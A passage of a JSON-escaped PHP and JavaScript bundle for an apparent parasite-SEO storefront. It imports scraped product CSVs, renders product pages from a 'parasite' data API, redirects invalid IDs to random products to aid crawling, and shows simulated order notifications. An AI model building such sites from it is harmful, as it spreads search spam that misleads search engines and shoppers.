is_numeric($_GET['keep']) \u0026\u0026 $_GET['keep'] \u003e 0 \n            ? (int)$_GET['keep'] \n            : 700000;\n\n        echo \"Starting product cleanup process...\\n\";\n        echo \"The goal is to keep the latest {$products_to_keep} products.\\n\\n\";\n\n        // For long-running operations\n        set_time_limit(0);\n\n        $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n        $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n        echo \"Successfully connected to the database.\\n\";\n\n        // First, count the total number of products\n        $count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM \" . TABLE_NAME);\n        $total_products = (int) $count_stmt-\u003efetchColumn();\n        echo \"Found {$total_products} total products in the table.\\n\";\n\n        if ($total_products \u003c= $products_to_keep) {\n            exit(\"No cleanup needed. The number of products ({$total_products}) is already at or below the target of {$products_to_keep}.\\n\");\n        }\n        \n        // This SQL query deletes all records EXCEPT the top 100,000 newest ones (ordered by ID descending).\n        // It uses a LEFT JOIN to identify rows to delete, which is efficient and avoids MySQL subquery limitations.\n        $sql = \"\n            DELETE p1 FROM \" . TABLE_NAME . \" AS p1\n            LEFT JOIN (\n                SELECT id FROM \" . TABLE_NAME . \" ORDER BY id DESC LIMIT \" . $products_to_keep . \"\n            ) AS p2 ON p1.id = p2.id\n            WHERE p2.id IS NULL;\n        \";\n\n        echo \"Executing deletion query. This may take some time...\\n\";\n        \n        // Execute the query and get the number of deleted rows\n        $deleted_count = $pdo-\u003eexec($sql);\n\n        echo \"\\nCleanup Complete!\\n\";\n        echo \"Successfully deleted {$deleted_count} old products.\\n\";\n        \n        $final_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM \" . TABLE_NAME);\n        $final_total_products = (int) $final_count_stmt-\u003efetchColumn();\n        echo \"There are now {$final_total_products} products remaining in the table.\\n\";\n\n        // Auto-rebuild queue system after cleanup\n        echo \"\\n=== Auto-rebuilding Queue System ===\\n\";\n        $queue_result = initializeQueue($pdo, true);\n        if ($queue_result !== false) {\n            echo \"\\n=== Auto-generating Sitemap ===\\n\";\n            $sitemap_result = generateSitemap($pdo, true);\n            if ($sitemap_result !== false) {\n                echo \"robots.txt updated.\\n\";\n            }\n        }\n\n\n    } catch (Exception $e) {\n        http_response_code(500);\n        error_log(\"Error during product cleanup: \" . $e-\u003egetMessage());\n        echo \"\\nAN ERROR OCCURRED during cleanup:\\n\";\n        echo $e-\u003egetMessage() . \"\\n\";\n    }\n    exit;\n}\n// --- Main Logic ---\n$temp_file_path = null; // Initialize to null\n\ntry {\n    // 0. Authenticate the request\n    if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n        http_response_code(401); // Unauthorized\n        throw new Exception(\"Authentication failed. Invalid or missing authentication token.\");\n    }\n    echo \"Authentication successful.\\n\";\n\n    // 1. Get and validate the remote CSV URL from the GET parameter\n    if (!isset($_GET['url']) || empty($_GET['url'])) {\n        throw new Exception(\"Mandatory 'url' GET parameter is missing. Please provide the URL of the CSV file.\");\n    }\n    $remote_csv_url = $_GET['url'];\n\n    if (filter_var($remote_csv_url, FILTER_VALIDATE_URL) === false) {\n        throw new Exception(\"Invalid URL format provided: \" . htmlspecialchars($remote_csv_url));\n    }\n    $url_parts = parse_url($remote_csv_url);\n    if (!isset($url_parts['scheme']) || !in_array($url_parts['scheme'], ['http', 'https'])) {\n        throw new Exception(\"Invalid URL scheme. Only HTTP and HTTPS URLs are allowed.\");\n    }\n    echo \"Processing URL: \" . htmlspecialchars($remote_csv_url) . \"\\n\\n\";\n\n    // 2. Download the remote file to a temporary local file\n    $temp_file_path = tempnam(sys_get_temp_dir(), 'csv_import_');\n    if ($temp_file_path === false) {\n        throw new Exception(\"Could not create temporary file.\");\n    }\n    \n    $success = @copy($remote_csv_url, $temp_file_path);\n    if (!$success) {\n        $error = error_get_last();\n        $error_message = isset($error['message']) ? $error['message'] : 'Unknown error';\n        throw new Exception(\"Failed to download remote CSV file. Reason: \" . $error_message);\n    }\n    echo \"Successfully downloaded remote file to temporary location.\\n\";\n\n\n    // 3. Connect to MySQL Database\n    $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n    $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n    echo \"Successfully connected to the database.\\n\";\n\n    // 4. Create the products table ONLY if it doesn't exist.\n    $pdo-\u003eexec(\"\n        CREATE TABLE IF NOT EXISTS \" . TABLE_NAME . \" (\n            id INT PRIMARY KEY,\n            title TEXT,\n            price_current DECIMAL(10, 2),\n            price_original DECIMAL(10, 2),\n            description LONGTEXT,\n            images TEXT,\n            category TEXT,\n            source_url TEXT,\n            crawled_at VARCHAR(255),\n            status VARCHAR(50)\n        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4\n    \");\n    \n    // Create index with error handling for MySQL compatibility\n    try {\n        $pdo-\u003eexec(\"CREATE INDEX idx_category ON \" . TABLE_NAME . \" (category(255))\");\n    } catch (PDOException $e) {\n        // Index might already exist, ignore error 1061 (Duplicate key name)\n        if ($e-\u003egetCode() != '42000' || strpos($e-\u003egetMessage(), 'Duplicate key name') === false) {\n            throw $e;\n        }\n    }\n    echo \"Database table '\" . TABLE_NAME . \"' is ready.\\n\";\n\n    // 5. Read the temporary CSV and insert/update data\n    $fileHandle = fopen($temp_file_path, 'r');\n    if ($fileHandle === false) {\n        throw new Exception(\"Could not open temporary CSV file.\");\n    }\n\n    // Skip the header row of the CSV\n    fgetcsv($fileHandle); \n\n    $stmt = $pdo-\u003eprepare(\n        \"REPLACE INTO \" . TABLE_NAME . \" (id, title, price_current, price_original, description, images, category, source_url, crawled_at, status) \n         VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\n    );\n\n    // Prepare queue management statements\n    $check_queue_stmt = $pdo-\u003eprepare(\"SELECT 1 FROM link_queue WHERE product_id = ? AND table_name = ? LIMIT 1\");\n    $insert_queue_stmt = $pdo-\u003eprepare(\"INSERT INTO link_queue (product_id, table_name) VALUES (?, ?)\");\n    $update_count_stmt = $pdo-\u003eprepare(\"UPDATE link_queue_pointer SET total_count = total_count + 1 WHERE id = 1\");\n\n    $rowCount = 0;\n    $newProductsInQueue = 0;\n    $pdo-\u003ebeginTransaction();\n    \n    while (($row = fgetcsv($fileHandle)) !== false) {\n        if (count($row) === 10) {\n            $product_id = (int)$row[0];\n            $stmt-\u003eexecute($row);\n            $rowCount++;\n\n            // Check if queue tables exist and add new products to queue\n            try {\n                $check_queue_stmt-\u003eexecute([$product_id, TABLE_NAME]);\n                $exists = $check_queue_stmt-\u003efetch();\n                \n                if (!$exists) {\n                    $insert_queue_stmt-\u003eexecute([$product_id, TABLE_NAME]);\n                    $update_count_stmt-\u003eexecute();\n                    $newProductsInQueue++;\n                }\n            } catch (PDOException $e) {\n                // Queue tables might not exist yet, ignore queue operations\n                if ($e-\u003egetCode() != '42S02') { // Table doesn't exist error\n                    error_log(\"Queue maintenance error: \" . $e-\u003egetMessage());\n                }\n            }\n        }\n    }\n    $pdo-\u003ecommit();\n\n    fclose($fileHandle);\n\n    echo \"\\nImport Complete!\\n\";\n    echo \"Successfully processed \" . $rowCount . \" products from \" . htmlspecialchars(basename($remote_csv_url)) . \".\\n\";\n    if ($newProductsInQueue \u003e 0) {\n        echo \"Added \" . $newProductsInQueue . \" new products to link queue.\\n\";\n    }\n\n    // Auto-update queue and sitemap after import (preserving pointer position)\n    echo \"\\n=== Auto-updating Queue System ===\\n\";\n    $queue_result = updateQueueAfterImport($pdo, true);\n    if ($queue_result !== false) {\n        echo \"\\n=== Auto-generating Sitemap ===\\n\";\n        $sitemap_result = generateSitemap($pdo, true);\n        if ($sitemap_result !== false) {\n            echo \"robots.txt updated.\\n\";\n        }\n    }\n\n} catch (Exception $e) {\n    http_response_code(500);\n    echo \"\\nAN ERROR OCCURRED:\\n\";\n    echo $e-\u003egetMessage() . \"\\n\";\n    \n    if (isset($pdo) \u0026\u0026 $pdo-\u003einTransaction()) {\n        $pdo-\u003erollBack();\n        echo \"Database transaction has been rolled back.\\n\";\n    }\n} finally {\n    // 6. Clean up: always delete the temporary file if it was created.\n    if ($temp_file_path \u0026\u0026 file_exists($temp_file_path)) {\n        unlink($temp_file_path);\n        echo \"\\nTemporary file has been deleted.\\n\";\n    }\n}\n\n// --- Queue Status Check Interface (for debugging) ---\nif (isset($_GET['action']) \u0026\u0026 $_GET['action'] === 'queue_status') {\n    if (!isset($_GET['auth_token']) || $_GET['auth_token'] !== SECRET_KEY) {\n        http_response_code(401);\n        exit(\"Authentication failed.\\n\");\n    }\n\n    try {\n        $pdo = new PDO(DB_DSN, DB_USER, DB_PASS);\n        $pdo-\u003esetAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n        // Check if queue tables exist\n        $tables_exist = $pdo-\u003equery(\"SHOW TABLES LIKE 'link_queue'\")-\u003efetchColumn();\n        if (!$tables_exist) {\n            echo \"Queue tables do not exist yet.\\n\";\n            exit;\n        }\n\n        // Get pointer status\n        $pointer_stmt = $pdo-\u003equery(\"SELECT current_index, total_count, last_updated FROM link_queue_pointer WHERE id = 1\");\n        $pointer_data = $pointer_stmt-\u003efetch(PDO::FETCH_ASSOC);\n\n        if (!$pointer_data) {\n            echo \"Queue pointer not initialized.\\n\";\n            exit;\n        }\n\n        // Get actual queue count\n        $actual_count_stmt = $pdo-\u003equery(\"SELECT COUNT(*) FROM link_queue\");\n        $actual_count = $actual_count_stmt-\u003efetchColumn();\n\n        // Get sample products from current pointer position\n        $current_index = (int)$pointer_data['current_index'];\n        $sample_stmt = $pdo-\u003eprepare(\"\n            SELECT product_id, table_name \n            FROM link_queue \n            WHERE queue_index \u003e= ? AND queue_index \u003c ? \n            ORDER BY queue_index\n        \");\n        $sample_stmt-\u003eexecute([$current_index, $current_index + 5]);\n        $sample_products = $sample_stmt-\u003efetchAll(PDO::FETCH_ASSOC);\n\n        echo \"=== Queue Status Report ===\\n\";\n        echo \"Current Pointer Position: {$pointer_data['current_index']}\\n\";\n        echo \"Recorded Total Count: {$pointer_data['total_count']}\\n\";\n        echo \"Actual Queue Count: {$actual_count}\\n\";\n        echo \"Last Updated: {$pointer_data['last_updated']}\\n\";\n        echo \"Count Match: \" . ($pointer_data['total_count'] == $actual_count ? \"✓ YES\" : \"✗ NO\") . \"\\n\";\n        echo \"\\nNext 5 products from current pointer:\\n\";\n        foreach ($sample_products as $i =\u003e $product) {\n            echo \"  \" . ($current_index + $i) . \": Product #{$product['product_id']} from {$product['table_name']}\\n\";\n        }\n\n    } catch (Exception $e) {\n        http_response_code(500);\n        echo \"Error checking queue status: \" . $e-\u003egetMessage() . \"\\n\";\n    }\n    exit;\n}\n?\u003e ","path":"import_csv.php"},{"content":"\u003c?php\n// ========== Dynamic Product Page ==========\n\n// Set timezone for PHP 5.6 compatibility\ndate_default_timezone_set('UTC');\n\n// --- Configuration \u0026 Setup ---\nrequire_once __DIR__ . '/config.php'; // For $GLOBALS['default_data'] and DB config\n\n// --- Data Fetching ---\n\n// 1. Get Product ID from URL\n$product_id = isset($_GET['id']) ? $_GET['id'] : null;\nif (!$product_id) {\n    http_response_code(400);\n    die('Error: Product ID is missing.');\n}\n\n// 2. Fetch product data from API\n$apiData = getParasiteData($product_id);\nif (!$apiData || !isset($apiData['product'])) {\n    // 如果API调用失败,重定向到随机产品\n    header(\"Location: \" . buildProductUrl('600001'), true, 301);\n    exit();\n}\n\n$product = $apiData['product'];\n$categories = isset($apiData['categories']) ? $apiData['categories'] : array();\n$queue_links = isset($apiData['queue_links']) ? $apiData['queue_links'] : array();\n$category_products = isset($apiData['category_products']) ? $apiData['category_products'] : array();\n\n// 调试信息(生产环境可以注释掉)\nif (empty($category_products)) {\n    error_log(\"Warning: category_products is empty from API\");\n        } else {\n    error_log(\"Debug: category_products count: \" . count($category_products));\n    error_log(\"Debug: category_products keys: \" . implode(', ', array_keys($category_products)));\n}\nif (empty($categories)) {\n    error_log(\"Warning: categories is empty from API\");\n} else {\n    error_log(\"Debug: categories count: \" . count($categories));\n}\n\n// 确保数据格式正确\nif (!is_array($category_products)) {\n    $category_products = array();\n}\nif (!is_array($categories)) {\n    $categories = array();\n}\nif (!is_array($queue_links)) {\n    $queue_links = array();\n}\n\n\n// 使用API返回的queue_links数据,无需数据库查询\n\n// --- Database Helper Functions (Removed - Now using API) ---\n\n// 使用API返回的queue_links数据\n$sidebar_links = $queue_links;\n\n// Convert links to new format\nif (is_array($sidebar_links) \u0026\u0026 !empty($sidebar_links)) {\n    $converted_links = array();\n    foreach ($sidebar_links as $link) {\n        if (preg_match('#/shopdetail/(.+?)/(\\d+)$#', $link, $matches)) {\n            $title = $matches[1];\n            $product_id = $matches[2];\n            $converted_links[] = buildProductUrl((int)$product_id, $title);\n        }\n        // 检测旧格式: /shopdetail/id\n        else if (preg_match('/\\/shopdetail\\/(\\d+)$/', $link, $matches)) {\n            $product_id = $matches[1];\n            $converted_links[] = buildProductUrl((int)$product_id);\n        } else {\n            $converted_links[] = $link;\n        }\n    }\n    $sidebar_links = $converted_links;\n}\n\n// Safety check: ensure $sidebar_links is always a valid non-empty array\nif (!is_array($sidebar_links) || empty($sidebar_links)) {\n    error_log(\"Warning: sidebar_links is empty, falling back to default URLs\");\n    $sidebar_links = array();\n    for ($i = 0; $i \u003c 50; $i++) {\n        $sidebar_links[] = $base_parasite_url . '/';\n    }\n}\n\n// Helper function to safely get a random link\nfunction getRandomLink($links_array, $fallback_url) {\n    if (!is_array($links_array) || empty($links_array)) {\n        return $fallback_url;\n    }\n    try {\n        $random_link = $links_array[array_rand($links_array)];\n        // 确保返回完整的URL格式\n        if (strpos($random_link, 'http') !== 0) {\n            // 如果不是完整URL,添加基础URL\n            global $base_parasite_url;\n            $random_link = $base_parasite_url . $random_link;\n        }\n        return $random_link;\n    } catch (Exception $e) {\n        error_log(\"array_rand failed: \" . $e-\u003egetMessage());\n        return $fallback_url;\n    }\n}\n\n\nif (!$product) {\n    // If no product is found for the given ID, redirect to a random product page.\n    // This improves crawlability by avoiding 404s for old or invalid IDs.\n    $random_url = !empty($sidebar_links) ? $base_parasite_url . $sidebar_links[0] : $base_parasite_url . '/';\n    header(\"Location: \" . $random_url, true, 301);\n    exit;\n}\n\n// --- Prepare data for shell components (Sidebar \u0026 Breadcrumbs) ---\n\n// 使用API返回的categories数据构建侧边栏\n$all_category_paths = array();\nif (isset($categories) \u0026\u0026 is_array($categories)) {\n    $all_category_paths = $categories;\n}\n\n// Function to build a nested array from flat paths for the sidebar\nfunction buildCategoryTree(array $paths) {\n    $tree = array();\n    foreach ($paths as $path) {\n        if (empty($path)) continue;\n        $parts = array_map('trim', explode('\u003e', $path));\n        $currentNode = \u0026$tree;\n        foreach ($parts as $part) {\n            if (!isset($currentNode[$part])) {\n                $currentNode[$part] = array('children' =\u003e array());\n            }\n            $currentNode = \u0026$currentNode[$part]['children'];\n        }\n    }\n    return $tree;\n}\n\n$category_tree = buildCategoryTree($all_category_paths);\n\n// Build breadcrumbs for the current product\n$breadcrumb_links = array();\n$product_categories = array_map('trim', explode('\u003e', $product['category']));\nforeach ($product_categories as $category_name) {\n    $breadcrumb_links[] = array(\n        'name' =\u003e $category_name,\n        'url' =\u003e getRandomLink($sidebar_links, $base_parasite_url . '/') // Per router logic, category links go to random products.\n    );\n}\n\n// 使用API返回的category_products数据\n$leaf_category_products = array();\n    $parent_category_products = array();\n    $random_category_products = array();\n    \n// 定义分类名称变量\n$leaf_category = '';\n$parent_category = '';\n$random_category_name = '';\n\n// 将API返回的分类产品转换为原有格式\nif (isset($category_products) \u0026\u0026 is_array($category_products) \u0026\u0026 !empty($category_products)) {\n    $category_count = 0;\n    foreach ($category_products as $category =\u003e $products) {\n        if (!is_array($products)) {\n            continue;\n        }\n        \n        $category_products_formatted = array();\n        foreach ($products as $p) {\n            if (!isset($p['title']) || !isset($p['url'])) {\n                continue;\n            }\n            \n                    $product_id = '';\n                    $product_title = '';\n                    if (preg_match('#/shopdetail/(.+?)/(\\d+)$#', $p['url'], $matches)) {\n                        $product_title = $matches[1];\n                        $product_id = $matches[2];\n                    } else {\n                        $product_id = str_replace('/', '', $p['url']);\n                        $product_title = $p['title'];\n                    }\n                    \n                    $category_products_formatted[] = array(\n            'id' =\u003e $product_id ? (int)$product_id : 0,\n            'title' =\u003e $p['title'],\n            'url' =\u003e buildProductUrl((int)$product_id, $product_title),\n            'price' =\u003e isset($p['price']) ? $p['price'] : 0,\n            'price_current' =\u003e isset($p['price']) ? $p['price'] : 0,\n            'images' =\u003e isset($p['images']) ? $p['images'] : '',\n            'images_str' =\u003e isset($p['images']) ? $p['images'] : ''\n        );\n        }\n        \n        // 提取最后一个分类名称(如 \"Men \u003e Coats \u0026 jackets \u003e Rainwear\" -\u003e \"Rainwear\")\n        $category_parts = explode('\u003e', $category);\n        $last_category = trim(end($category_parts));\n        \n        // 第一个分类作为leaf_category_products\n        if ($category_count === 0) {\n            $leaf_category_products = $category_products_formatted;\n            $leaf_category = $last_category;\n        } elseif ($category_count === 1) {\n            $parent_category_products = $category_products_formatted;\n            $parent_category = $last_category;\n        } else {\n            $random_category_products = array_merge($random_category_products, $category_products_formatted);\n            if (empty($random_category_name)) {\n                $random_category_name = $last_category;\n            }\n        }\n        $category_count++;\n    }\n}\n\n// 如果没有分类数据,设置默认值\nif (empty($leaf_category_products)) {\n    $leaf_category_products = array();\n    $leaf_category = 'Products';\n}\nif (empty($parent_category_products)) {\n    $parent_category_products = array();\n    $parent_category = 'Related Products';\n}\nif (empty($random_category_products)) {\n    $random_category_products = array();\n    $random_category_name = 'Featured Products';\n}\n\n// --- Data Transformation for Template ---\n\n// This step adapts the database record to the format expected by the template.\n$images_str = trim($product['images'], '{}');\n$images = !empty($images_str) ? explode(',', $images_str) : array();\n\n// Parse the description HTML to extract structured data like brand and condition.\n$description_html = $product['description'];\n\n// Set default values, which can be overridden by data from the description\n$brand = $GLOBALS['default_data']['brand'];\n$condition = 'Not Specified';\n\n// Extract Brand from the Product Information table using regex\nif (preg_match('/\u003cth[^\u003e]*\u003e\\s*\u003cb\u003e\\s*Brand\\s*\u003c\\/b\u003e\\s*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e(.*?)\u003c\\/td\u003e/is', $description_html, $match)) {\n    $brand = trim(strip_tags($match[1]));\n}\n// Extract Condition from the Product Information table using regex\nif (preg_match('/\u003cth[^\u003e]*\u003e\\s*\u003cb\u003e\\s*Condition\\s*\u003c\\/b\u003e\\s*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e(.*?)\u003c\\/td\u003e/is', $description_html, $match)) {\n    $condition = trim(strip_tags($match[1]));\n}\n\n// The main description is the content before the \"Product Information\" heading.\n$main_description = $description_html;\n$h2_pos = strpos($description_html, '\u003ch2\u003e');\nif ($h2_pos !== false) {\n    $main_description = substr($description_html, 0, $h2_pos);\n}\n\n// Calculate the price difference for the template\n$price_difference = 0;\nif (isset($product['price_original']) \u0026\u0026 isset($product['price_current'])) {\n    $price_difference = (float)$product['price_original'] - (float)$product['price_current'];\n}\n\n\n\n// Calculate dynamic favicon path with smart slash handling\nfunction smartJoinPath() {\n    $parts = func_get_args();\n    $path = '';\n    foreach ($parts as $part) {\n        if (empty($part)) continue;\n        \n        if (empty($path)) {\n            $path = rtrim($part, '/');\n        } else {\n            $path .= '/' . trim($part, '/');\n        }\n    }\n    return $path;\n}\n\n$script_path = str_replace($document_root, '', __DIR__);\n$favicon_path = smartJoinPath($base_parasite_url, $script_path, 'includes', 'cropped.png');\n\n$data = array(\n    'management_number' =\u003e $product['id'],\n    'title'             =\u003e $product['title'],\n    'price' =\u003e array(\n        'new'  =\u003e '$' . number_format((float)$product['price_original'], 2),\n        'used' =\u003e '$' . number_format((float)$product['price_current'], 2)\n    ),\n    'list_price'        =\u003e '$' . number_format((float)$product['price_current'], 2),\n    'description'       =\u003e $main_description,\n    'images'            =\u003e $images,\n    'default_image'     =\u003e isset($images[0]) ? $images[0] : $GLOBALS['default_data']['default_image'],\n    'categories'        =\u003e array_map('trim', explode('\u003e', $product['category'])),\n    'domain'            =\u003e $host,\n    'base_parasite_url' =\u003e $base_parasite_url, // Use the correct full URL from config.php\n    'favicon_path'      =\u003e $favicon_path, // Dynamic favicon path\n    'brand'             =\u003e $brand, // Use extracted brand\n    'condition'         =\u003e $condition, // Add extracted condition\n    'price_difference'  =\u003e number_format($price_difference, 2), // Add the calculated difference\n    'rating'            =\u003e $GLOBALS['default_data']['rating'], // Comes from config.php\n    'currency'          =\u003e $GLOBALS['default_data']['currency'], // Comes from config.php\n    'release_date'      =\u003e date('Y/m/d', strtotime($product['crawled_at'])),\n    'model_number'      =\u003e $product['id'],\n    'breadcrumb_links'  =\u003e $breadcrumb_links, // New breadcrumb data\n    'category_tree'     =\u003e $category_tree,    // New sidebar data\n    'leaf_category'     =\u003e $leaf_category,\n    'parent_category'   =\u003e $parent_category,\n    'leaf_category_products' =\u003e $leaf_category_products,\n    'parent_category_products' =\u003e $parent_category_products,\n    'random_category_name' =\u003e $random_category_name,\n    'random_category_products' =\u003e $random_category_products,\n    'random_link' =\u003e getRandomLink($sidebar_links, $base_parasite_url . '/'),\n    'sidebar_links' =\u003e $sidebar_links,\n    'template_links' =\u003e $sidebar_links\n);\n\n\n// --- Render Template ---\n\n// The $data variable is now ready for the template.\nrequire 'template_complete.php';\n\n?\u003e ","path":"product.php"},{"content":"\u003c!-- jQuery and Bootstrap JS --\u003e\r\n\u003cscript src=\"https://code.jquery.com/jquery-3.6.0.min.js\"\u003e\u003c/script\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Swiper JS --\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/swiper@8/swiper-bundle.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Lightbox JS --\u003e\r\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/lightbox2@2.11.3/dist/js/lightbox.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Additional JS Libraries --\u003e\r\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lazysizes.min.js\"\u003e\u003c/script\u003e\r\n\r\n\u003c!-- Google Analytics and DataLayer --\u003e\r\n\u003cscript\u003e\r\nwindow.dataLayer = window.dataLayer || [];\r\nfunction gtag(){dataLayer.push(arguments);}\r\ngtag('js', new Date());\r\ngtag('config', 'GA_MEASUREMENT_ID');\r\n\r\n// Custom dataLayer events\r\nfunction htmlDecode(value) {\r\n    return $('\u003cdiv/\u003e').html(value).text();\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Flash Sale Countdown Timer --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Flash Sale Countdown\r\n    if (typeof endtime_campaign !== 'undefined') {\r\n        var countDownDate = new Date(endtime_campaign).getTime();\r\n        \r\n        var x = setInterval(function() {\r\n            var now = new Date().getTime();\r\n            var distance = countDownDate - now;\r\n            \r\n            if (distance \u003e 0) {\r\n                var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));\r\n                var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));\r\n                var seconds = Math.floor((distance % (1000 * 60)) / 1000);\r\n                \r\n                document.querySelector('.hours').innerHTML = String(hours).padStart(2, '0');\r\n                document.querySelector('.minutes').innerHTML = String(minutes).padStart(2, '0');\r\n                document.querySelector('.seconds').innerHTML = String(seconds).padStart(2, '0');\r\n            } else {\r\n                clearInterval(x);\r\n                document.querySelector('.flash_sale').style.display = 'none';\r\n            }\r\n        }, 1000);\r\n    }\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Sidebar Navigation --\u003e\r\n\u003cscript\u003e\r\n$(document).ready(function() {\r\n    // Sidebar toggle\r\n    $('#sidebarCollapse').on('click', function() {\r\n        $('#sidebar_menu').toggleClass('active');\r\n        $('.overlay').toggleClass('active');\r\n    });\r\n    \r\n    // Close sidebar\r\n    $('#dismiss, .overlay').on('click', function() {\r\n        $('#sidebar_menu').removeClass('active');\r\n        $('.overlay').removeClass('active');\r\n    });\r\n    \r\n    // Sidebar collapse functionality\r\n    $('.dropdown-toggle').on('click', function() {\r\n        var target = $(this).data('target');\r\n        $(target).collapse('toggle');\r\n        \r\n        // Toggle arrow direction\r\n        $(this).toggleClass('collapsed');\r\n    });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Product Image Gallery --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Initialize Swiper for product thumbnails\r\n    if (document.querySelector('.zoom_product_thumnail')) {\r\n        window.swiperThumbnail = new Swiper('.zoom_product_thumnail', {\r\n            slidesPerView: 4,\r\n            spaceBetween: 5,\r\n            loop: false,\r\n            navigation: {\r\n                nextEl: '.thumnail-swiper-button-next',\r\n                prevEl: '.thumnail-swiper-button-prev',\r\n            },\r\n            breakpoints: {\r\n                320: { slidesPerView: 2, spaceBetween: 5 },\r\n                640: { slidesPerView: 3, spaceBetween: 5 },\r\n                768: { slidesPerView: 4, spaceBetween: 5 },\r\n            }\r\n        });\r\n    }\r\n    \r\n    // Image click handlers\r\n    document.querySelectorAll('.main-pro-lightbox').forEach(function(link) {\r\n        link.addEventListener('click', function(e) {\r\n            e.preventDefault();\r\n            showImageZoom(this.href);\r\n        });\r\n    });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Search and Navigation --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Search form enhancement\r\n    var searchForm = document.querySelector('.search-form-top');\r\n    if (searchForm) {\r\n        searchForm.addEventListener('submit', function(e) {\r\n            var searchInput = this.querySelector('#txt-search');\r\n            var categorySelect = this.querySelector('#cat-search');\r\n            \r\n            // Track search event\r\n            dataLayer.push({\r\n                'event': 'search',\r\n                'eventCategory': 'site search',\r\n                'eventAction': 'search',\r\n                'eventLabel': searchInput.value,\r\n                'searchCategory': categorySelect.value\r\n            });\r\n        });\r\n    }\r\n    \r\n    // Auto-complete simulation\r\n    var searchInput = document.querySelector('#txt-search');\r\n    if (searchInput) {\r\n        searchInput.addEventListener('input', function() {\r\n            var query = this.value;\r\n            if (query.length \u003e= 3) {\r\n                // 这里可以添加AJAX请求获取搜索建议\r\n                console.log('Search suggestion for:', query);\r\n            }\r\n        });\r\n    }\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Notification System --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Load notifications\r\n    loadNotifications();\r\n    \r\n    // Mark all as read\r\n    document.querySelector('.read-all-message')?.addEventListener('click', function() {\r\n        markAllNotificationsAsRead();\r\n    });\r\n});\r\n\r\nfunction loadNotifications() {\r\n    // 模拟加载通知\r\n    var notifications = new Array(\r\n        {\r\n            id: 1,\r\n            title: 'Order Shipped',\r\n            message: 'Your order #12345 has been shipped!',\r\n            time: '2 hours ago',\r\n            read: false\r\n        },\r\n        {\r\n            id: 2,\r\n            title: 'New Arrivals',\r\n            message: 'Check out our latest pool accessories!',\r\n            time: '1 day ago',\r\n            read: true\r\n        }\r\n    );\r\n    \r\n    var notificationList = document.querySelector('#messages');\r\n    var notificationCount = document.querySelector('.lbl_count');\r\n    \r\n    if (notificationList \u0026\u0026 notificationCount) {\r\n        var unreadCount = notifications.filter(n =\u003e !n.read).length;\r\n        notificationCount.textContent = unreadCount;\r\n        \r\n        notificationList.innerHTML = notifications.map(notification =\u003e `\r\n            \u003cli class=\"notification-item ${notification.read ? 'read' : 'unread'}\"\u003e\r\n                \u003cdiv class=\"notification-content\"\u003e\r\n                    \u003ch6\u003e${notification.title}\u003c/h6\u003e\r\n                    \u003cp\u003e${notification.message}\u003c/p\u003e\r\n                    \u003csmall\u003e${notification.time}\u003c/small\u003e\r\n                \u003c/div\u003e\r\n            \u003c/li\u003e\r\n        `).join('');\r\n    }\r\n}\r\n\r\nfunction markAllNotificationsAsRead() {\r\n    document.querySelectorAll('.notification-item').forEach(function(item) {\r\n        item.classList.remove('unread');\r\n        item.classList.add('read');\r\n    });\r\n    document.querySelector('.lbl_count').textContent = '0';\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Shopping Cart --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Load cart count\r\n    updateCartCount();\r\n    \r\n    // Price change handlers\r\n    document.querySelectorAll('input[name=\"grade\"]').forEach(function(radio) {\r\n        radio.addEventListener('change', function() {\r\n            var zaiko = JSON.parse(this.dataset.zaiko);\r\n            updatePrice(zaiko);\r\n        });\r\n    });\r\n});\r\n\r\nfunction updateCartCount() {\r\n    // 模拟从服务器获取购物车数量\r\n    var cartCount = localStorage.getItem('cartCount') || '0';\r\n    document.querySelectorAll('.cart-number').forEach(function(element) {\r\n        element.textContent = cartCount;\r\n    });\r\n}\r\n\r\nfunction updatePrice(zaiko) {\r\n    var priceElement = document.querySelector('.price-buy');\r\n    var noteElement = document.querySelector('.product_note');\r\n    \r\n    if (priceElement \u0026\u0026 zaiko) {\r\n        // 更新价格显示\r\n        priceElement.textContent = '$' + zaiko.baika + ' (tax included)';\r\n        \r\n        // 更新库存状态\r\n        var stockElement = document.querySelector('.tag_product.blue-light span');\r\n        if (stockElement) {\r\n            stockElement.textContent = 'Number of stocks: ' + zaiko.zaiko;\r\n        }\r\n    }\r\n}\r\n\r\n// Add to cart with animation\r\nfunction 